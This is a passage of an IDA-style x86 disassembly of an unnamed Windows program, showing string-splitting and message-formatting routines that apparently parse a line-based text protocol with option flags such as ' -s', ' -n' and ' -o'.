		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4106C4
		cmp	[ebp+16h], bl
		jnz	short loc_4106A0
		mov	ecx, offset byte_44742D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473E4
		call	sub_4017E4
		mov	edx, dword_447104
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h


loc_4106A0:				; CODE XREF: sub_40FF60+713j
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	eax, dword_44710C
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4106C4:				; CODE XREF: sub_40FF60+70Ej
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447114
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	short loc_410775
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014D3
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41075D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015D7


loc_41075D:				; CODE XREF: sub_40FF60+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410775:				; CODE XREF: sub_40FF60+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447110
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4107B0
		mov	al, byte_447844
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4107B4


loc_4107B0:				; CODE XREF: sub_40FF60+840j
		mov	[esp+20h+var_D], bl


loc_4107B4:				; CODE XREF: sub_40FF60+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410AC1
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_410812
		mov	ecx, eax
		call	sub_402054


loc_410812:				; CODE XREF: sub_40FF60+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41083E
		mov	ecx, eax
		call	sub_4010BE


loc_41083E:				; CODE XREF: sub_40FF60+8D5j
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401A9B
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410AAC


loc_41089F:				; CODE XREF: sub_40FF60+B46j
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_4108C7
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_4108C9
; ---------------------------------------------------------------------------


loc_4108C7:				; CODE XREF: sub_40FF60+95Aj
		xor	esi, esi


loc_4108C9:				; CODE XREF: sub_40FF60+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4108FB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4108FF
; ---------------------------------------------------------------------------


loc_4108FB:				; CODE XREF: sub_40FF60+98Cj
		mov	[esp+20h+var_C], ebx


loc_4108FF:				; CODE XREF: sub_40FF60+999j
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410922
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410928
; ---------------------------------------------------------------------------


loc_410922:				; CODE XREF: sub_40FF60+9B7j
		mov	[esi+93h], bl


loc_410928:				; CODE XREF: sub_40FF60+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410943
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410949
; ---------------------------------------------------------------------------


loc_410943:				; CODE XREF: sub_40FF60+9D8j
		mov	[esi+94h], bl


loc_410949:				; CODE XREF: sub_40FF60+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410964
		mov	byte ptr [esi+95h], 1
		jmp	short loc_41096A
; ---------------------------------------------------------------------------


loc_410964:				; CODE XREF: sub_40FF60+9F9j
		mov	[esi+95h], bl


loc_41096A:				; CODE XREF: sub_40FF60+A02j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_446F70
		lea	ecx, [esi+54h]
		call	sub_4015D7
		push	offset byte_446F70
		lea	ecx, [esi+3Fh]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410A59
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410A59:				; CODE XREF: sub_40FF60+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013D4
		inc	edi
		push	offset asc_4435EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41089F


loc_410AAC:				; CODE XREF: sub_40FF60+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410AC1:				; CODE XREF: sub_40FF60+86Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447108
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410DDB
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410B3B
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_410B3D
; ---------------------------------------------------------------------------


loc_410B3B:				; CODE XREF: sub_40FF60+BCEj
		xor	esi, esi


loc_410B3D:				; CODE XREF: sub_40FF60+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410B6C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410B6E
; ---------------------------------------------------------------------------


loc_410B6C:				; CODE XREF: sub_40FF60+BFFj
		xor	edi, edi


loc_410B6E:				; CODE XREF: sub_40FF60+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410B90
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410B96
; ---------------------------------------------------------------------------


loc_410B90:				; CODE XREF: sub_40FF60+C25j
		mov	[esi+95h], bl


loc_410B96:				; CODE XREF: sub_40FF60+C2Ej
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BB1
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410BB7
; ---------------------------------------------------------------------------


loc_410BB1:				; CODE XREF: sub_40FF60+C46j
		mov	[esi+93h], bl


loc_410BB7:				; CODE XREF: sub_40FF60+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BD2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410BD8
; ---------------------------------------------------------------------------


loc_410BD2:				; CODE XREF: sub_40FF60+C67j
		mov	[esi+94h], bl


loc_410BD8:				; CODE XREF: sub_40FF60+C70j
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016AE
		push	offset asc_443C88 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C88 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset dword_4437F8
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FBE
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C84 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410DAD
		add	eax, 2
		push	eax
		jmp	short loc_410DB2
; ---------------------------------------------------------------------------


loc_410DAD:				; CODE XREF: sub_40FF60+E45j
		push	offset byte_446F70


loc_410DB2:				; CODE XREF: sub_40FF60+E4Bj
		mov	ecx, esi
		call	sub_4015D7
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410DCF
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410DCF:				; CODE XREF: sub_40FF60+E64j
		mov	ecx, edi
		call	sub_4013D4
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_40FF60+BADj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44712C
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410FB0
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	edx
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_410EA2
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	eax
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40210D


loc_410EA2:				; CODE XREF: sub_40FF60+EF3j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_4E6E85
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C88 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401861
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_44742D
		mov	[ebp+16h], bl
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473E4
		call	sub_4017E4
		mov	edx, dword_447104
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_40FF60+EC7j
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447120
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411168
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C88 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401861
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_443C84 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		mov	esi, dword_50FAF8
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411153
		push	offset asc_443C84 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401861
		push	offset byte_446F70
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		push	offset byte_446F70
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_41111B
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FBE


loc_41111B:				; CODE XREF: sub_40FF60+11A9j
		push	offset byte_4E6E85
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41113F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E6E85
		push	edx
		call	sub_401FBE


loc_41113F:				; CODE XREF: sub_40FF60+1173j
					; sub_40FF60+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411153:				; CODE XREF: sub_40FF60+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_411168:				; CODE XREF: sub_40FF60+109Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447130
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4111EF
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447140
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4111F4


loc_4111EF:				; CODE XREF: sub_40FF60+1238j
		mov	[esp+20h+var_D], 1


loc_4111F4:				; CODE XREF: sub_40FF60+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C88 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C88 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_443C88 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C9E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40210D
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_411327
; ---------------------------------------------------------------------------


loc_411320:				; CODE XREF: sub_40FF60+391j
		mov	ecx, ebp
		call	sub_401D0C


loc_411327:				; CODE XREF: sub_40FF60+1D3j
					; sub_40FF60+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_40FFA2


loc_411330:				; CODE XREF: sub_40FF60+3Cj
					; sub_40FF60+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_40FF60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411860	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402054
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411860	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4118E0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016EAj
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4118F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4118F8:				; CODE XREF: ___:004118EDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411910	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411910
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40196A
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411910	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411990	proc near		; CODE XREF: sub_402054j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411990	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A50	proc near		; CODE XREF: sub_40196Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411A50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
